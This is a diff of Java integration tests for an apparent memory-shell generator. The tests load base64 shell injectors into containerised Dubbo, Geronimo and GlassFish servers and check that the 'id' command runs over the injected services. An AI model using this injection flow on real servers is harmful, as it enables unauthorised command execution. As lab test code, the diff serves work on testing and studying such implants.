"apache-dubbo-2.7.8",
|
||||||
|
"dubbo.apache278.provider.jar",
|
||||||
|
20887,
|
||||||
|
28090
|
||||||
|
);
|
||||||
|
private static final DubboProviderScenario APACHE_2723 = apacheScenario(
|
||||||
|
"apache-dubbo-2.7.23",
|
||||||
|
"dubbo.apache2723.provider.jar",
|
||||||
|
20881,
|
||||||
|
28082
|
||||||
|
);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
static final GenericContainer<?> apache276 = DubboContainerFactory.buildProvider(APACHE_276);
|
||||||
|
@Container
|
||||||
|
static final GenericContainer<?> apache277 = DubboContainerFactory.buildProvider(APACHE_277);
|
||||||
|
@Container
|
||||||
|
static final GenericContainer<?> apache278 = DubboContainerFactory.buildProvider(APACHE_278);
|
||||||
|
@Container
|
||||||
|
static final GenericContainer<?> apache2723 = DubboContainerFactory.buildProvider(APACHE_2723);
|
||||||
|
|
||||||
|
static Stream<Arguments> scenarios() {
|
||||||
|
return Stream.of(
|
||||||
|
Arguments.of(apache276, APACHE_276),
|
||||||
|
Arguments.of(apache277, APACHE_277),
|
||||||
|
Arguments.of(apache278, APACHE_278),
|
||||||
|
Arguments.of(apache2723, APACHE_2723)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{1}")
|
||||||
|
@MethodSource("scenarios")
|
||||||
|
void testDubboServiceRegistration(GenericContainer<?> container, DubboProviderScenario scenario) {
|
||||||
|
DubboServiceAssertion.assertCommandService(container, scenario);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static DubboProviderScenario apacheScenario(String name, String providerJarProperty, int dubboPort, int hessianPort) {
|
||||||
|
return new DubboProviderScenario(
|
||||||
|
name,
|
||||||
|
"apache",
|
||||||
|
providerJarProperty,
|
||||||
|
IMAGE,
|
||||||
|
dubboPort,
|
||||||
|
Opcodes.V1_8,
|
||||||
|
List.of(
|
||||||
|
new DubboProtocolTarget("dubbo", dubboPort),
|
||||||
|
new DubboProtocolTarget("hessian", hessianPort)
|
||||||
|
)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
+37
@@ -0,0 +1,37 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Tag;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
@Testcontainers
|
||||||
|
@Tag("dubbo-container")
|
||||||
|
class ApacheDubbo336ContainerTest {
|
||||||
|
|
||||||
|
private static final DubboProviderScenario SCENARIO = new DubboProviderScenario(
|
||||||
|
"apache-dubbo-3.3.6",
|
||||||
|
"apache",
|
||||||
|
"dubbo.apache336.provider.jar",
|
||||||
|
"eclipse-temurin:17-jdk",
|
||||||
|
20882,
|
||||||
|
Opcodes.V1_8,
|
||||||
|
List.of(
|
||||||
|
new DubboProtocolTarget("dubbo", 20882),
|
||||||
|
new DubboProtocolTarget("hessian", 28084),
|
||||||
|
new DubboProtocolTarget("tri", 50051)
|
||||||
|
)
|
||||||
|
);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
static final GenericContainer<?> container = DubboContainerFactory.buildProvider(SCENARIO);
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testDubboServiceRegistration() {
|
||||||
|
DubboServiceAssertion.assertCommandService(container, SCENARIO);
|
||||||
|
}
|
||||||
|
}
|
||||||
+130
@@ -0,0 +1,130 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.regex.Matcher;
|
||||||
|
import java.util.regex.Pattern;
|
||||||
|
|
||||||
|
final class DubboClientRunner {
|
||||||
|
|
||||||
|
private DubboClientRunner() {
|
||||||
|
}
|
||||||
|
|
||||||
|
static String loadBytes(String clientKind, String url, String base64) {
|
||||||
|
return run(clientKind, "load-bytes", url, base64);
|
||||||
|
}
|
||||||
|
|
||||||
|
static String runCommand(String clientKind, String url, String interfaceName, String command) {
|
||||||
|
return run(clientKind, "run-command", url, interfaceName, command);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private static String run(String clientKind, String... args) {
|
||||||
|
List<String> command = new ArrayList<String>();
|
||||||
|
String javaExecutable = javaExecutable(clientKind);
|
||||||
|
command.add(javaExecutable);
|
||||||
|
if (supportsAddOpens(javaExecutable)) {
|
||||||
|
command.add("--add-opens=java.base/java.lang=ALL-UNNAMED");
|
||||||
|
command.add("--add-opens=java.base/java.math=ALL-UNNAMED");
|
||||||
|
}
|
||||||
|
command.add("-cp");
|
||||||
|
command.add(clientClasspath(clientKind));
|
||||||
|
command.add(mainClass(clientKind));
|
||||||
|
for (String arg : args) {
|
||||||
|
command.add(arg);
|
||||||
|
}
|
||||||
|
|
||||||
|
Process process = new ProcessBuilder(command)
|
||||||
|
.redirectErrorStream(true)
|
||||||
|
.start();
|
||||||
|
ByteArrayOutputStream output = new ByteArrayOutputStream();
|
||||||
|
copy(process.getInputStream(), output);
|
||||||
|
int exitCode = process.waitFor();
|
||||||
|
String rendered = output.toString(StandardCharsets.UTF_8).trim();
|
||||||
|
if (exitCode != 0) {
|
||||||
|
throw new IllegalStateException("Dubbo client failed with exit code " + exitCode + "\n" + rendered);
|
||||||
|
}
|
||||||
|
return rendered;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String clientClasspath(String clientKind) {
|
||||||
|
String property = System.getProperty("dubbo." + clientKind + ".client.classpath");
|
||||||
|
if (isBlank(property)) {
|
||||||
|
throw new IllegalStateException("missing dubbo." + clientKind + ".client.classpath system property");
|
||||||
|
}
|
||||||
|
return property;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String mainClass(String clientKind) {
|
||||||
|
if ("alibaba".equals(clientKind)) {
|
||||||
|
return "io.github.reajason.dubbo.fixture.client.alibaba.AlibabaDubboClient";
|
||||||
|
}
|
||||||
|
if ("apache".equals(clientKind)) {
|
||||||
|
return "io.github.reajason.dubbo.fixture.client.apache.ApacheDubboClient";
|
||||||
|
}
|
||||||
|
throw new IllegalArgumentException("unsupported client kind: " + clientKind);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String javaExecutable(String clientKind) {
|
||||||
|
if (!"alibaba".equals(clientKind)) {
|
||||||
|
return "java";
|
||||||
|
}
|
||||||
|
String java8Home = System.getenv("JAVA8_HOME");
|
||||||
|
if (isBlank(java8Home)) {
|
||||||
|
java8Home = System.getProperty("java8.home");
|
||||||
|
}
|
||||||
|
if (isBlank(java8Home)) {
|
||||||
|
return "java";
|
||||||
|
}
|
||||||
|
return java8Home + "/bin/java";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean supportsAddOpens(String javaExecutable) throws java.io.IOException, InterruptedException {
|
||||||
|
Process process = new ProcessBuilder(javaExecutable, "-version")
|
||||||
|
.redirectErrorStream(true)
|
||||||
|
.start();
|
||||||
|
ByteArrayOutputStream output = new ByteArrayOutputStream();
|
||||||
|
copy(process.getInputStream(), output);
|
||||||
|
int exitCode = process.waitFor();
|
||||||
|
if (exitCode != 0) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return majorVersion(output.toString(StandardCharsets.UTF_8)) >= 9;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int majorVersion(String versionOutput) {
|
||||||
|
Matcher matcher = Pattern.compile("version \"([^\"]+)\"").matcher(versionOutput);
|
||||||
|
if (!matcher.find()) {
|
||||||
|
return 9;
|
||||||
|
}
|
||||||
|
String version = matcher.group(1);
|
||||||
|
if (version.startsWith("1.")) {
|
||||||
|
int dot = version.indexOf('.', 2);
|
||||||
|
return leadingInteger(dot < 0 ? version.substring(2) : version.substring(2, dot));
|
||||||
|
}
|
||||||
|
int dot = version.indexOf('.');
|
||||||
|
return leadingInteger(dot < 0 ? version : version.substring(0, dot));
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int leadingInteger(String value) {
|
||||||
|
Matcher matcher = Pattern.compile("^(\\d+)").matcher(value);
|
||||||
|
return matcher.find() ? Integer.parseInt(matcher.group(1)) : 9;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean isBlank(String value) {
|
||||||
|
return value == null || value.trim().isEmpty();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void copy(InputStream inputStream, ByteArrayOutputStream outputStream) throws java.io.IOException {
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int read;
|
||||||
|
while ((read = inputStream.read(buffer)) >= 0) {
|
||||||
|
outputStream.write(buffer, 0, read);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+56
@@ -0,0 +1,56 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.time.Duration;
|
||||||
|
|
||||||
|
final class DubboContainerFactory {
|
||||||
|
|
||||||
|
private DubboContainerFactory() {
|
||||||
|
}
|
||||||
|
|
||||||
|
static GenericContainer<?> buildProvider(DubboProviderScenario scenario) {
|
||||||
|
String jarPath = providerJarPath(scenario.providerJarProperty());
|
||||||
|
GenericContainer<?> container = new GenericContainer<>(scenario.imageName())
|
||||||
|
.withCopyFileToContainer(MountableFile.forHostPath(jarPath), "/app/app.jar")
|
||||||
|
.withWorkingDirectory("/app")
|
||||||
|
.withExposedPorts(exposedPorts(scenario))
|
||||||
|
.waitingFor(Wait.forLogMessage(".*Provider started.*", 1)
|
||||||
|
.withStartupTimeout(Duration.ofMinutes(3)));
|
||||||
|
|
||||||
|
if ("alibaba".equals(scenario.clientKind())) {
|
||||||
|
container.withCommand("java", "-jar", "/app/app.jar");
|
||||||
|
} else {
|
||||||
|
container.withCommand(
|
||||||
|
"java",
|
||||||
|
"--add-opens", "java.base/java.lang=ALL-UNNAMED",
|
||||||
|
"--add-opens", "java.base/java.math=ALL-UNNAMED",
|
||||||
|
"-jar", "/app/app.jar"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return container;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Integer[] exposedPorts(DubboProviderScenario scenario) {
|
||||||
|
return scenario.commandTargets().stream()
|
||||||
|
.map(DubboProtocolTarget::port)
|
||||||
|
.distinct()
|
||||||
|
.toArray(Integer[]::new);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String providerJarPath(String propertyName) {
|
||||||
|
String value = System.getProperty(propertyName);
|
||||||
|
if (value == null || value.trim().isEmpty()) {
|
||||||
|
throw new IllegalStateException("missing " + propertyName + " system property");
|
||||||
|
}
|
||||||
|
Path path = Path.of(value);
|
||||||
|
if (!Files.isRegularFile(path)) {
|
||||||
|
throw new IllegalStateException("provider jar does not exist: " + path);
|
||||||
|
}
|
||||||
|
return path.toAbsolutePath().toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
+27
@@ -0,0 +1,27 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
final class DubboProtocolTarget {
|
||||||
|
private final String protocol;
|
||||||
|
private final int port;
|
||||||
|
|
||||||
|
DubboProtocolTarget(String protocol, int port) {
|
||||||
|
this.protocol = protocol;
|
||||||
|
this.port = port;
|
||||||
|
}
|
||||||
|
|
||||||
|
String protocol() {
|
||||||
|
return protocol;
|
||||||
|
}
|
||||||
|
|
||||||
|
int port() {
|
||||||
|
return port;
|
||||||
|
}
|
||||||
|
|
||||||
|
String url(String host, String interfaceName) {
|
||||||
|
return protocol + "://" + host + ":" + port + "/" + interfaceName;
|
||||||
|
}
|
||||||
|
|
||||||
|
String url(String host, int mappedPort, String interfaceName) {
|
||||||
|
return protocol + "://" + host + ":" + mappedPort + "/" + interfaceName;
|
||||||
|
}
|
||||||
|
}
|
||||||
+66
@@ -0,0 +1,66 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
final class DubboProviderScenario {
|
||||||
|
private final String name;
|
||||||
|
private final String clientKind;
|
||||||
|
private final String providerJarProperty;
|
||||||
|
private final String imageName;
|
||||||
|
private final int loaderPort;
|
||||||
|
private final int targetJdkVersion;
|
||||||
|
private final List<DubboProtocolTarget> commandTargets;
|
||||||
|
|
||||||
|
DubboProviderScenario(String name, String clientKind, String providerJarProperty, String imageName,
|
||||||
|
int loaderPort, int targetJdkVersion, List<DubboProtocolTarget> commandTargets) {
|
||||||
|
this.name = name;
|
||||||
|
this.clientKind = clientKind;
|
||||||
|
this.providerJarProperty = providerJarProperty;
|
||||||
|
this.imageName = imageName;
|
||||||
|
this.loaderPort = loaderPort;
|
||||||
|
this.targetJdkVersion = targetJdkVersion;
|
||||||
|
this.commandTargets = commandTargets;
|
||||||
|
}
|
||||||
|
|
||||||
|
String name() {
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
|
||||||
|
String clientKind() {
|
||||||
|
return clientKind;
|
||||||
|
}
|
||||||
|
|
||||||
|
String providerJarProperty() {
|
||||||
|
return providerJarProperty;
|
||||||
|
}
|
||||||
|
|
||||||
|
String imageName() {
|
||||||
|
return imageName;
|
||||||
|
}
|
||||||
|
|
||||||
|
int loaderPort() {
|
||||||
|
return loaderPort;
|
||||||
|
}
|
||||||
|
|
||||||
|
int targetJdkVersion() {
|
||||||
|
return targetJdkVersion;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<DubboProtocolTarget> commandTargets() {
|
||||||
|
return commandTargets;
|
||||||
|
}
|
||||||
|
|
||||||
|
String shellType() {
|
||||||
|
if ("alibaba".equals(clientKind)) {
|
||||||
|
return ShellType.ALIBABA_DUBBO_SERVICE;
|
||||||
|
}
|
||||||
|
return ShellType.APACHE_DUBBO_SERVICE;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
}
|
||||||
+64
@@ -0,0 +1,64 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.hamcrest.Matchers.anyOf;
|
||||||
|
import static org.hamcrest.Matchers.containsString;
|
||||||
|
|
||||||
|
@Slf4j
|
||||||
|
final class DubboServiceAssertion {
|
||||||
|
|
||||||
|
private static final String LOADER_INTERFACE = "io.github.reajason.dubbo.fixture.api.BytecodeLoadingService";
|
||||||
|
private static final String COMMAND = "id";
|
||||||
|
|
||||||
|
private DubboServiceAssertion() {
|
||||||
|
}
|
||||||
|
|
||||||
|
static void assertCommandService(GenericContainer<?> container, DubboProviderScenario scenario) {
|
||||||
|
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(
|
||||||
|
scenario.shellType(),
|
||||||
|
ShellTool.Command,
|
||||||
|
Packers.Base64
|
||||||
|
);
|
||||||
|
MemShellResult result = ShellAssertion.generate(
|
||||||
|
null,
|
||||||
|
Server.Dubbo,
|
||||||
|
null,
|
||||||
|
scenario.shellType(),
|
||||||
|
ShellTool.Command,
|
||||||
|
scenario.targetJdkVersion(),
|
||||||
|
shellToolConfig,
|
||||||
|
Packers.Base64
|
||||||
|
);
|
||||||
|
String interfaceName = result.getInjectorConfig().getUrlPattern();
|
||||||
|
String host = container.getHost();
|
||||||
|
String loaderUrl = "dubbo://" + host + ":" + container.getMappedPort(scenario.loaderPort()) + "/" + LOADER_INTERFACE;
|
||||||
|
|
||||||
|
log.info("loading {} into {} via {}", interfaceName, scenario.name(), loaderUrl);
|
||||||
|
String loadOutput = DubboClientRunner.loadBytes(scenario.clientKind(), loaderUrl, result.getInjectorBytesBase64Str());
|
||||||
|
log.info("{} load output: {}", scenario.name(), loadOutput);
|
||||||
|
|
||||||
|
List<String> fallbackUrls = scenario.commandTargets().stream()
|
||||||
|
.map(target -> target.url(host, container.getMappedPort(target.port()), interfaceName))
|
||||||
|
.collect(Collectors.toList());
|
||||||
|
List<String> commandUrls = DubboUrlResolver.resolveCommandUrls(loadOutput, interfaceName, fallbackUrls);
|
||||||
|
|
||||||
|
for (String commandUrl : commandUrls) {
|
||||||
|
String output = DubboClientRunner.runCommand(scenario.clientKind(), commandUrl, interfaceName, COMMAND);
|
||||||
|
log.info("{} {} command output: {}", scenario.name(), DubboUrlResolver.protocolOf(commandUrl), output);
|
||||||
|
assertThat(output, anyOf(containsString("uid="), containsString("injected-ok")));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+72
@@ -0,0 +1,72 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import java.net.URI;
|
||||||
|
import java.net.URISyntaxException;
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.regex.Matcher;
|
||||||
|
import java.util.regex.Pattern;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
|
final class DubboUrlResolver {
|
||||||
|
|
||||||
|
private DubboUrlResolver() {
|
||||||
|
}
|
||||||
|
|
||||||
|
static List<String> resolveCommandUrls(String loadOutput, String interfaceName, List<String> fallbackUrls) {
|
||||||
|
Map<String, String> discoveredByProtocol = new LinkedHashMap<String, String>();
|
||||||
|
Pattern pattern = Pattern.compile("(dubbo|hessian|tri)://[^\\s,]*" + Pattern.quote(interfaceName) + "(?:\\?[^\\s,]*)?");
|
||||||
|
Matcher matcher = pattern.matcher(loadOutput);
|
||||||
|
while (matcher.find()) {
|
||||||
|
String candidate = matcher.group();
|
||||||
|
discoveredByProtocol.put(protocolOf(candidate), candidate);
|
||||||
|
}
|
||||||
|
return fallbackUrls.stream()
|
||||||
|
.map(fallback -> {
|
||||||
|
String discovered = discoveredByProtocol.get(protocolOf(fallback));
|
||||||
|
return discovered == null ? fallback : rewriteEndpoint(discovered, fallback);
|
||||||
|
})
|
||||||
|
.collect(Collectors.toList());
|
||||||
|
}
|
||||||
|
|
||||||
|
static String protocolOf(String url) {
|
||||||
|
int separator = url.indexOf("://");
|
||||||
|
return separator < 0 ? url : url.substring(0, separator);
|
||||||
|
}
|
||||||
|
|
||||||
|
static String rewriteHost(String url, String host) {
|
||||||
|
try {
|
||||||
|
URI uri = new URI(url);
|
||||||
|
return new URI(
|
||||||
|
uri.getScheme(),
|
||||||
|
uri.getUserInfo(),
|
||||||
|
host,
|
||||||
|
uri.getPort(),
|
||||||
|
uri.getPath(),
|
||||||
|
uri.getQuery(),
|
||||||
|
uri.getFragment()
|
||||||
|
).toString();
|
||||||
|
} catch (URISyntaxException e) {
|
||||||
|
throw new IllegalArgumentException("invalid direct url: " + url, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static String rewriteEndpoint(String url, String endpointUrl) {
|
||||||
|
try {
|
||||||
|
URI uri = new URI(url);
|
||||||
|
URI endpoint = new URI(endpointUrl);
|
||||||
|
return new URI(
|
||||||
|
uri.getScheme(),
|
||||||
|
uri.getUserInfo(),
|
||||||
|
endpoint.getHost(),
|
||||||
|
endpoint.getPort(),
|
||||||
|
uri.getPath(),
|
||||||
|
uri.getQuery(),
|
||||||
|
uri.getFragment()
|
||||||
|
).toString();
|
||||||
|
} catch (URISyntaxException e) {
|
||||||
|
throw new IllegalArgumentException("invalid direct url: " + url + " or " + endpointUrl, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+34
@@ -0,0 +1,34 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.hamcrest.Matchers.contains;
|
||||||
|
|
||||||
|
class DubboUrlResolverTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void discoveredUrlsOverrideFallbackByProtocolAndRewriteHost() {
|
||||||
|
String interfaceName = "org.example.ICommandService";
|
||||||
|
String loadOutput = "ok dubbo://x.x.x.x:20880/" + interfaceName + "?side=provider, "
|
||||||
|
+ "hessian://10.1.2.3:28080/" + interfaceName;
|
||||||
|
|
||||||
|
List<String> resolved = DubboUrlResolver.resolveCommandUrls(
|
||||||
|
loadOutput,
|
||||||
|
interfaceName,
|
||||||
|
List.of(
|
||||||
|
"dubbo://127.0.0.1:1111/" + interfaceName,
|
||||||
|
"hessian://127.0.0.1:2222/" + interfaceName,
|
||||||
|
"tri://127.0.0.1:3333/" + interfaceName
|
||||||
|
)
|
||||||
|
);
|
||||||
|
|
||||||
|
assertThat(resolved, contains(
|
||||||
|
"dubbo://127.0.0.1:1111/" + interfaceName + "?side=provider",
|
||||||
|
"hessian://127.0.0.1:2222/" + interfaceName,
|
||||||
|
"tri://127.0.0.1:3333/" + interfaceName
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
+59
@@ -0,0 +1,59 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.geronimo;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/7
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class Geronimo221Jetty7ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig
|
||||||
|
.builder()
|
||||||
|
.server(Server.Jetty)
|
||||||
|
.imageName("reajason/geronimo:2.2.1-jetty7")
|
||||||
|
.warFile(ContainerTool.warFile)
|
||||||
|
.warDeployPath("/opt/geronimo/deploy/app.war")
|
||||||
|
.pidScript(ContainerTool.javaPid)
|
||||||
|
.serverVersion("7+")
|
||||||
|
.targetJdkVersion(Opcodes.V1_6)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.HANDLER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.JSP))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.HANDLER
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+68
@@ -0,0 +1,68 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.geronimo;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTool;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/4
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class Geronimo221Tomcat6ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig
|
||||||
|
.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.imageName("reajason/geronimo:2.2.1-tomcat6")
|
||||||
|
.warFile(ContainerTool.warFile)
|
||||||
|
.warDeployPath("/opt/geronimo/deploy/app.war")
|
||||||
|
.pidScript(ContainerTool.javaPid)
|
||||||
|
.targetJdkVersion(Opcodes.V1_6)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.VALVE,
|
||||||
|
ShellType.PROXY_VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.JSP, Packers.AgentJarWithJDKAttacher))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.VALVE,
|
||||||
|
ShellType.PROXY_VALVE
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
@@ -8,6 +8,7 @@ import com.reajason.javaweb.packer.Packers;
|
|||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -24,6 +25,7 @@ public class GlassFish7ContainerTest extends AbstractContainerTest {
|
|||||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||||
"reajason/glassfish:7.0.20-jdk17",
|
"reajason/glassfish:7.0.20-jdk17",
|
||||||
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
|
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||||
.warFile(warJakartaFile)
|
.warFile(warJakartaFile)
|
||||||
.jakarta(true)
|
.jakarta(true)
|
||||||
.targetJdkVersion(Opcodes.V17)
|
.targetJdkVersion(Opcodes.V17)
|
||||||
|
|||||||
+179
@@ -0,0 +1,179 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.jenkins;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
